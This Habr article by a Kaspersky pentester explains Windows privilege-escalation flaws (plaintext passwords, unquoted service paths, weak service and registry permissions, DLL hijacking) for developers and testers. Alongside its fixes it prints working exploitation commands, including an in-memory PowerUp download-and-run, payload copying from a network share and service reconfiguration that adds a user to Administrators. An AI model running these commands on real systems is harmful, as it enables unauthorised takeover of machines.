А у вас в окнах дырки! Пентесты Windows-приложений: кейсы, инструменты и рекомендации

Привет, Хабр! Меня зовут Василий Буров, я — Senior Testing Engineer в департаменте Security Services «Лаборатории Касперского» и в общей сложности более 20 лет тестирую программное обеспечение. В том числе занимаюсь анализом защищенности информационных систем, то есть тестированием на проникновение.

image

В этой статье я на примере Windows-приложений продемонстрирую, как происходит вторжение в корпоративные сети, а также расскажу, как им противостоять, — приведу примеры нескольких простых проверок, которые не позволят вашим приложениям превратиться в оружие злоумышленников.

Жизненный цикл кибератаки


Сперва немного о том, как происходит вторжение в корпоративные сети.

Существует несколько логических схем, разбивающих атаку на этапы, но мне больше всего нравится та, которую предложили в компании Mandiant (американская компания, которая занимается безопасностью):

image

Если рассматривать атаку поэтапно, то она будет выглядеть следующим образом.

  • Начальная разведка — на этом этапе добываются данные про компанию: e-mail-адреса сотрудников, логины, пароли и т. п. Злоумышленники могут даже приезжать к офису компании, мониторить Wi-Fi-сети и пытаться через их взлом получить какие-то данные.
  • Первоначальная компрометация. Сейчас в большинстве атак (в процентах 80) этот этап осуществляется через фишинговые письма. Они составляются на основе данных, полученных на предыдущем этапе. Например, на e-mail сотрудников рассылаются письма, имитирующие обращение от IT-отдела и рекомендующие для удаления обнаруженного вируса срочно запустить некий файл. Неподготовленный человек, которого застали врасплох, запускает файл или переходит по ссылке на подменный сайт, где запрашивается логин и пароль от внутренних ресурсов.
  • Закрепление на территории. Предположим, жертва запустила вложенный файл и установилась сессия, за счет чего злоумышленник может в командной строке на машине пользователя исполнять команды. На этом этапе злоумышленник закрепляется в системе, т. е. делает так, чтобы при перезагрузке компьютера сессия восстановилась.
  • Повышение привилегий. Сейчас в большинстве компаний сотрудники работают не под привилегированными учетными записями (не являются локальными администраторами на своих компьютерах). Чтобы продолжить свою деятельность, злоумышленнику необходимо стать локальным администратором — эти привилегии нужны всем утилитам, которые позволяют дампить память, перехватывать пакеты в сети и т. п. В этой статье мы будем говорить в основном об этом этапе, в рамках которого злоумышленники пользуются уязвимостями софта, установленного на машине жертвы.
  • Внутренняя разведка. Получив необходимые привилегии, злоумышленник осматривается вокруг — какие машины есть рядом, что представляет собой корпоративная сеть, какие есть контроллеры домена, DNS-серверы и т. д.
  • Боковое смещение — так называют цикл на схеме. На основе собранных данных злоумышленник составляет карту сети и начинает блуждать от машины к машине в поисках тех, где он может повысить привилегии, например до доменного админа. Цель зависит от задачи злоумышленника — привести корпоративную сеть в нерабочее состояние, похитить конфиденциальные данные, завладеть административными учетными данными или запустить шифровальщика. Переходя от машины к машине, он повторяет примерно одни и те же действия, пока не доберется до компьютера, где он сможет получить желаемое (права доменного админа). Здесь он использует уже уязвимости самих протоколов и операционной системы.


Повышение локальных привилегий


Я особенно выделяю этап повышения привилегий, потому что как раз на него у нас есть все шансы повлиять на этапе разработки. И таким образом мы можем здорово усложнить жизнь злоумышленникам. Тем более что в большинстве случаев те используют самые простые способы.

Пароли в открытом виде в файлах и реестре


На ранних этапах разработки проекта пароль может оказаться в открытом виде в трейсе или в реестре. Например, если приложение коннектится к базе данных, то зачастую в реестре появляется логин и пароль от SQL-сервера в открытом виде. Точно так же подобная информация может оказаться в продуктовых трейсах или в конфигурационных файлах самого сервиса.

Необходимо отслеживать такие вещи — заводить на них баги, чтобы пароли срочно удаляли.

Казалось бы, кто увидит эти трейсы? Но у меня был случай на практике. Мы разрабатывали систему для клиента — большого американского банка. Они открыли Support case, мы пришли к ним на машину и включили трейсы. Попросили их прислать нам трейсы, после того как проблема воспроизведется (и, естественно, после отключить трейсы и удалить их с диска). Support case обработали и закрыли. Прошло полгода. Тот же самый клиент открывает уже новый Support case по другой проблеме. Мы приходим на эту же машину и видим те самые трейсы.

Если бы злоумышленник за эти полгода попал к клиенту на машину и в трейсах был бы пароль в открытом виде, машина, да и вся сеть, были бы скомпрометированы.

Искать такие уязвимости можно встроенной командой findstr.

findstr /M /si password *.txt *.xml *.ini *.log 
findstr /M /si pass *.txt *.xml *.ini *.log


Можно воспользоваться powershell:

Get-ChildItem -Path 'c:\' -Include *.txt,*.xml,*.ini,*.log -File -Recurse -Force -ErrorAction SilentlyContinue | Select-String -Pattern "password" -SimpleMatch -ErrorAction SilentlyContinue 


А в реестре встроенной командой reg можно искать вхождение ключевых слов, например password:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s  


Пути без кавычек

Эта уязвимость часто встречается, и не все разработчики знают про такую особенность ОС Windows (и потому не обращают на это внимания): если у сервиса или шедульной таски путь к исполняемому файлу содержит пробелы и не взят в кавычки (например, C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe), то при его запуске система будет спотыкаться на пробелах. Дойдет до первого, подставит .exe в конце, проверит, есть ли по получившемуся пути такой исполняемый файл. Если его не найдет, пойдет дальше.

На конкретном примере это выглядит так:

  1. C:\Program.exe
  2. C:\Program Files.exe
  3. C:\Program Files (x86)\Program.exe
  4. C:\Program Files (x86)\Program Folder\A.exe
  5. C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe


Уязвимость заключается в том, что если у непривилегированного пользователя есть права на запись по одному из этих путей, то, положив в него свой исполняемый файл с соответствующим названием (например, C:\Program Files (x86)\Program Folder\A.exe), он может добиться его запуска. Поскольку обычно сервисы запускаются под локальным админом или под Local System (аккаунт, который представляет саму ОС), таким образом злоумышленник легко повышает свои привилегии.

Такие вещи необходимо в первую очередь отслеживать у сервисов и schedule-ных тасок, которые запускают продукт. Надо быть аккуратными с директорией ProgramData. Как правило, в этой директории программы хранят свои данные, но туда могут писать и простые пользователи. Если в ProgramData появляется папка с пробелом, ее можно проэксплуатировать. В итоге всегда брать путь в кавычки — это хорошая практика.

Чтобы искать такие вещи, есть встроенная команда операционной системы:

wmic service get name,pathname,startmode |findstr /i /v "c:\windows\\" |findstr /i /v """


Можно искать командлетом powershell:

Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name


А можно использовать фреймворк PowerUp. Его написали этичные хакеры, но сейчас он используется в основном неэтичными. Задача этого фреймворка — искать уязвимости в программах, установленных в ОС, да и в самой ОС. Сейчас PowerUp вошел в состав более крупного фреймворка PowerSploit.

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Get-ServiceUnquoted" 


Однако если захотите использовать PowerUp, надо отключать антивирус и предупреждать своих системных администраторов, потому что он определяется как зловред.

Когда у вас есть доступ к коду, подобные вещи необходимо искать и там. Найдите все функции, которые требуют задания пути. На примере C и C++ это CreateProcess (), CreateService (), System (). И посмотрите, как в эти функции передается путь.

Вот пример, как не надо делать (в этом случае путь уходит в функцию без кавычек):

std::wstring processCommandLine = LR"(C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe)";

// Start the child process
if (!::CreateProcess(NULL, &processCommandLine[0], …))
{
 std::cerr << "CreateProcess failed. Error: " << ::GetLastError();
 return false;


Чтобы проэксплуатировать данную уязвимость, сначала мы находим путь без кавычек. Потом с помощью утилиты Access Check (из состава Sysinternals) смотрим, где по этому пути у нас есть права на запись.

Предположим, путь выглядит так: C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

accesschk.exe -duws "user" "C:\Program Files (x86)" -nobanner


«user» — это непривилегированный пользователь, от имени которого нужны права. Ключи означают следующее:

  • d — директория;
  • u — подавление ошибок;
  • w — права именно на запись;
  • s — рекурсивно;
  • nobanner — не выдавать «шапку».


Если эта команда дает путь, по которому у нас есть права на запись, остается скопировать по нему exe-шник, называя его соответствующим образом.

Предположим, у нас есть права на запись в Program Folder, мы туда кладем A.exe.

cd "C:\Program Files (x86)\Program Folder"
copy \\192.168.1.1\sharedfolder\A.exe 


Далее мы перезапускаем сервис вручную или ждем, пока перезапуск произойдет естественным путем (по ходу работы сервиса или по желанию пользователя).

sc stop "Vulnerable Service Name"
sc start "Vulnerable Service Name"


Также эксплуатировать эту уязвимость можно с помощью фреймворка PowerUp.

Загружаем скрипт:

. .\PowerUp.ps1


У него есть отдельный командлет, которому можно задать имя сервиса, где есть путь без кавычек и с пробелом. В данном случае Command — это та команда, которая исполнится после рестарта сервиса. В примере ниже это добавление пользователя в группу локальных администраторов.

Write-ServiceBinary -Name '' -Path  -Command "net localgroup Administrators  /add"   

Restart-Service -ServiceName '' -Force


Сервисы: уязвимые права


Уязвимые права в реестре


В специальной ветке реестра сервисы хранят свою информацию — там располагается их конфигурация.

HKLM\SYSTEM\CurrentControlSet\Services

В ОС Windows любой объект имеет маркер доступа. Такой же маркер есть и у веток реестра. Если на этапе создания сервиса разработчик забыл про этот маркер или не обратил на него внимания (и не поставил в коде специальный ключ) либо специально добавил кому-то разрешения, но не убрал его перед деплоем, появляется уязвимость.

image

Для поиска подобных уязвимостей можно использовать утилиту Access Check (из состава Sysinternals; сейчас компания, выпускающая этот набор утилит, принадлежит Microsoft). Ключи используем те же, за исключением -k — это означает, что мы ищем ключ реестра.

accesschk.exe -kuws "user" "HKLM\SYSTEM\CurrentControlSet\Services"


Если утилита находит сервис, на ключи которого у нас есть право на запись, остается изменить конфигурацию этого сервиса, чтобы он запускал вредоносный exe-шник.

copy \\192.168.1.1\sharedfolder\payload.exe "C:\Users\testuser\AppData\Local\Temp\Payload.exe"

reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet\Services\TestService" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\testuser\AppData\Local\Temp\Payload.exe" /f 


Далее достаточно перезапустить сервис, после чего запустится и прописанный exe-шник.

sc stop "TestService" & sc start "TestService" 


Уязвимые права у самого сервиса


С точки зрения ОС сервис — это тоже объект. Запуская или останавливая сервис, мы на самом деле взаимодействуем не с ним напрямую, а с Service Control Manager, который и работает с объектами сервисов. У этих объектов, как и у ключей реестра, есть свой маркер доступа. Посмотреть его можно, например, воспользовавшись Process explorer-ом (также входит в состав Sysinternals).

Открыв свойства процесса, можно посмотреть права непосредственно на объект сервиса.

image

Если на этапе разработки или при создании сервиса мы не досмотрели и дали какому-то пользователю права на запись, которые на самом деле ему не нужны, их надо убрать.

Искать можно, опять же, с утилитой Access Check, только теперь используя ключ -c (он означает, что она смотрит объекты сервисов), звездочка — все объекты сервисов.

accesschk.exe -cuws "user" *


Какие права мы ищем:

  • SERVICE_CHANGE_CONFIG — право изменять конфигурацию сервиса;
  • WRITE_DAC — право изменять маркер доступа (мы можем назначить себе право менять конфиг — SERVICE_CHANGE_CONFIG, задать запуск вредоносного exe-шника, а потом и запустить его через перезапуск сервиса);
  • WRITE_OWNER — право менять владельца сервиса (став владельцем, мы можем поменять права доступа и т. п.);
  • GENERIC_WRITE, GENERIC_ALL — права, которые также позволяют менять конфигурацию сервиса (SERVICE_CHANGE_CONFIG).


Искать эту уязвимость можно через фреймворк PowerUp:

. .\PowerUp.ps1 


У него для этого есть специальный командлет:

Get-ModifiableService -Verbose


Предположим, мы нашли сервис, на объект которого у нас есть право на запись. Чтобы это проэксплуатировать, в ОС Windows есть встроенная команда sc config.

sc config TestService binpath= "net localgroup Administrators testuser /add" 
sc config TestService obj= ".\LocalSystem" password= "" 


Здесь: binpath — в качестве пути к исполняемому файлу мы задали команду, obj — задали, чтобы она исполнилась под аккаунтом LocalSystem.

Также специальный командлет Invoke-ServiceAbuse, который эксплуатирует эту уязвимость, есть у PowerUp.

. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'TestService' -Сommand "net localgroup Administrators testuser /add"


Далее достаточно перезапустить сервис — и мы получим полные права в системе.

net stop "TestService" 
net start "TestService"


Уязвимые права на файлы и папки


Сервисы запускают файлы как объекты файловой системы. У них тоже есть свои права, которые могут быть изменены. Мы можем на файловой системе изменить файл сервиса, подсунув свой исполняемый файл, а не тот, что был предусмотрен разработчиками.

Для поиска таких мест можно использовать PowerUp:

. .\PowerUp.ps1


У него есть специальный командлет для поиска:

Get-ModifiableServiceFile -Verbose


А также отдельный командлет для эксплуатации этой уязвимости:

Install-ServiceBinary -Name 'service name' -Command "net localgroup Administrators user /add"


Далее остается только перезапустить сервис.

Restart-Service -ServiceName '' -Force 


Подмена библиотек (DLL Hijacking)


Современные приложения используют так называемые динамически подгружаемые библиотеки. Этот механизм был разработан, чтобы можно было переиспользовать один и тот же код в нескольких приложениях, а также чтобы размер исполняемого файла был меньше (чтобы в память подгружались только те функции, которые сейчас нужны). Поэтому сейчас большая часть кода находится в виде DLL, которые подгружаются по мере необходимости.

Когда приложение запущено и ищет определенную DLL, ее поиск в ОС происходит следующим образом:

image

  • сначала ОС проверяет, не загружена ли эта библиотека в памяти;
  • если нет, смотрит список известных DLL (в реестре есть специальный ключ, где определены список доверенных DLL и пути к ним, — он предусмотрен для ускорения загрузки системных библиотек);
  • если библиотека до сих пор не найдена, система ищет ее в папке, где установлено приложение;
  • затем в системных директориях;
  • после этого — в текущей директории (путь, откуда запущено приложение, иногда может не совпадать с путем установки приложения — например, исполняемый файл скопировали в другое место и запустили);
  • если нигде библиотеки нет, то поиск продолжается в папках, указанных в переменной %PATH%.


Злоумышленник может использовать директорию, в которой установлено приложение, текущую директорию и директории, перечисленные в переменной %PATH%. Остальные пункты списка — системные папки, в которых по дефолту разрешения наследуются и к которым простые пользователи не имеют доступа.

Вот так схематически выглядит загрузка DLL из системных папок (минуя директорию, в которой установлено приложение).

image

Если у пользователя есть права на запись в папку, где установлено приложение, мы просто подкладываем туда зловредную DLL, соответствующим образом переименовывая ее. Когда приложение попытается загрузить легальную библиотеку, вместо нее в память попадет зловред, поскольку поиск до системных папок попросту не дойдет.

image

В этом и заключается техника DLL hijacking.

Искать вероятное место для подмены можно с помощью Process Monitor с фильтрами. Мы задаем Process Name (это исполняемый файл), а результат выполнения операции должен содержать not found. И далее исключаем системные пути. Дальше надо перезапустить приложение или машину и посмотреть на вывод Process Monitor.

image

Если мы видим, что приложение ищет DLL в папках, в которых мы имеем право на запись, можно воспользоваться утилитой binject, которая добавляет в существующую библиотеку вызов нашей.

binject.exe -i some.dll -m malicious.dll -o c:\test\some.dll 


Остается обе DLL положить раньше по пути поиска, чем настоящая библиотека:

copy c:\test\some.dll c:\search\order\path
copy c:\test\malicious.dll c:\search\order\path 


В итоге зловредный код запустится.

Чтобы этого избежать, надо убедиться, что в коде задекларирован правильный порядок поиска загружаемых DLL, — необходимо убрать Current directory и %PATH% (потому что в переменную окружения %PATH% может быть добавлено что угодно. Например, когда вы ставите Python, он по умолчанию предлагает установку в корень C: и помещает путь установки в переменную окружения %PATH%. Т. е. по умолчанию любые пользователи смогут писать в C:\Python).

В C/C++ код будет выглядеть следующим образом:

::SetDefaultDllDirectories(
    LOAD_LIBRARY_SEARCH_APPLICATION_DIR |
    LOAD_LIBRARY_SEARCH_SYSTEM32 |
    LOAD_LIBRARY_SEARCH_USER_DIRS);
::SetDllDirectory(L"");
::AddDllDirectory(L"additional_product_directory");


  • SEARCH_APPLICATION_DIR — это папка, где установлено приложение;
  • SEARCH_SYSTEM32 — системная папка;
  • SEARCH_USER_DIRS — позволяет определять директории для поиска посредством SetDllDirectory и AddDllDirectory.
    • SetDllDirectory с пустым путем означает, что мы исключаем Current directory из поиска;
    • AddDllDirectory — если надо добавить какие-то другие продуктовые папки.


Где скрываются уязвимости


Ну и напоследок немного подытоживающей теории. Уязвимости в приложениях закладываются на трех основных стадиях.

  • Проектирование. Смотрите на требования к программному продукту с точки зрения злоумышленника — как заложенную логику можно будет эксплуатировать. Яркий пример недосмотра — протокол SMTP. Когда его проектировали, никто не подумал, что надо контролировать адрес, с которого отправлено письмо. В итоге мы сейчас можем указать любой адрес отправителя, чем и пользуются злоумышленники при фишинге.
  • Реализация. Используйте утилиты, регулярно отслеживайте, чтобы такие простые уязвимости не попадали в продакшн. Не облегчайте жизнь злоумышленникам.
  • Конфигурация. Продукт у заказчика надо настраивать так, чтобы не допускать дыр в безопасности. Опять же, следите за правами доступа ко всем объектам — папкам, файлам, реестру.


Если же переходить к частностям, то вот несложные рекомендации, которые вам точно помогут.

  • Всегда проверяйте, что путь заключен в кавычки.
  • Используйте строгий DACL на продуктовые папки — атакующий (непривилегированные пользователи) не должен иметь доступ на запись в папки с продуктовыми исполняемыми файлами. Это особенно актуально, если ваше приложение умеет устанавливаться не в Program Files, потому что в Program Files права доступа наследуются и, если там специально ничего не добавлять, все будет хорошо.
  • Используйте строгий DACL на продуктовые настройки в реестре. Если продукт хранит в реестре какую-то конфигурацию, проследите, чтобы непривилегированные пользователи не могли ее менять.
  • Осуществляйте контроль над загрузкой dll-модулей.
  • Регулярно проверяйте поведение продукта с помощью Process Monitor и PowerUp. Однако если используете PowerUp, предупреждайте об этом своих системных администраторов, иначе они будут нервничать.
  • Используйте решения SAST (Static Application Security Testing) которые позволяют находить уязвимости безопасности в исходном коде.


Если вам было интересно и вы сами хотите исследовать подобные уязвимости — тестировать продукты на проникновение, искать возможные пути вторжения и исследовать информационную безопасность в широком смысле — приходите к нам в «Лабораторию Касперского» на вакансии пентестера (Penetration Testing Specialist) и аппсекера (Application Security Specialist). У нас одна из самых сильных команд пентестеров в России, которая работает с крупнейшими, в том числе международными, проектами и заказчиками. А процесс найма у нас максимально облегчен: попасть к нам можно всего за одно техническое собеседование!

© Habrahabr.ru